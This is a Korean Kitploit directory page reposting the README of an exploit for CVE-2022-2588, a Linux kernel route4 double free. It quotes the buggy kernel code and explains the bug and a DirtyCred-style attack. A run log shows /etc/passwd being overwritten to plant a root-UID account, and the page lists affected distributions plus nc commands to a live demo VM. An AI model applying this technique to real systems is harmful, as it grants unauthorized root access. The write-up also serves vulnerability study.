Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-2588 — CVE-2022-2588에 대한 익스플로잇 | Kitploit
도구/GitHubGitHub/markakd/cve-2022-2588
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

CVE-2022-2588에 대한 익스플로잇

저장소 보기
488713년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-2588

수정 사항

이 버그는 Linux v5.19에서 다음 커밋을 통해 수정되었습니다.

버그

이 버그는 2014년 Linux v3.17에 다음 커밋을 통해 도입되었습니다. 트리거하려면 User Namespaces가 필요합니다. 이 버그는 route4_filter의 연결 리스트에 대한 잘못된 연산으로 인해 발생한 CVE-2021-3715와 매우 유사합니다. CVE-2021-3715에 대한 자세한 내용은 blackhat 발표 자료(16페이지)에서 확인할 수 있습니다. 다음은 CVE-2022-2588에 대한 간략한 세부 정보입니다.

다음은 CVE-2022-2588을 이해하기 위한 함수 route4_change의 중요한 코드 조각들입니다.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

이 함수는 route4_filter 객체를 초기화/대체하기 위해 구현되었습니다. 필터는 handle을 각 필터를 구별하는 고유 ID로 사용합니다. 이미 초기화된 핸들이 있는 경우(즉, fold 변수가 null이 아닌 경우), 기존 필터를 제거하고 새 필터를 추가하여 업데이트합니다. 그렇지 않으면 새 필터만 추가합니다.

[0]에서 커널은 route4_filter 객체를 할당합니다. [1]에서 fold가 비어 있지 않으면(동일한 핸들을 가진 필터가 있음을 의미), 새 필터에 일부 정보를 복사하고 [2]에서 새 필터를 초기화한 다음 [3]에서 목록에 새 필터를 삽입합니다. 기존 필터가 있으면 [4]에서 목록에서 제거되고 [6]에서 해제됩니다.

버그는 [4]에서 발생하며, 제거할 기존 필터가 있는지 확인합니다. 조건은 핸들이 0이 아니어야 하고 새 필터의 핸들과 일치해야 한다는 것입니다. 이 조건은 [6]에서 필터를 해제하는 조건과 일치하지 않으며, [6]에서는 기존 필터가 있는지만 확인합니다. 따라서 사용자가 핸들이 0인 필터를 만든 다음 해당 필터의 교체를 트리거하면 [4]에서 연결이 해제되지 않지만 [6]에서 해제됩니다. 조건이 동일하지 않기 때문입니다.

익스플로잇

이 버그는 CVE-2021-3715와 유사하므로 기본 원시 연산도 거의 동일합니다. 독자는 blackhat 발표 자료에서 원시 연산에 대한 자세한 설명을 참조할 수 있습니다. 이 글에서는 DirtyCred의 아이디어를 활용한 익스플로잇을 보여줍니다.

버그를 트리거한 후 해제된 fold가 여전히 연결 리스트에 있기 때문에 fold를 다시 한 번 해제할 수 있으며, 이는 결과적으로 route4_filter 객체와 CONFIG_NET_CLS_ACT가 활성화된 경우 route4_filter->exts.action 객체에 대해 이중 해제를 유발할 수 있습니다.

익스플로잇 코드는 이러한 두 가지 이중 해제 기능을 활용하여 task credentials(kmalloc-192 이중 해제 활용, 추후 제공 예정)와 open file credentials(kmalloc-256 이중 해제 활용)에 대한 공격을 시연합니다.

파일 자격 증명 공격

DirtyCred의 아이디어에 따라 익스플로잇 코드는 권한 검사 후 파일 자격 증명을 교체하므로 읽기 권한이 있는 파일에 모든 내용을 쓸 수 있습니다. 이 코드는 이론적으로 버그의 영향을 받는 모든 커널 버전에서 작동합니다. msg_msg가 kmalloc-rcl-*에서 격리된 구형 커널에서도 코드가 작동하도록 하기 위해 익스플로잇은 다른 스프레이 객체를 사용합니다.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

이 익스플로잇은 가능한 많은 배포판에서 작동하도록 작성되었습니다. 다음에서 작동하는 것이 확인되었습니다:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(다른 커널에서도 작동한다면 PR을 보내주시기 바랍니다.)

VM에서 익스플로잇을 실행해보고 싶으신가요?

low 사용자와 비밀번호 low로 로그인하세요.

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
도구 다운로드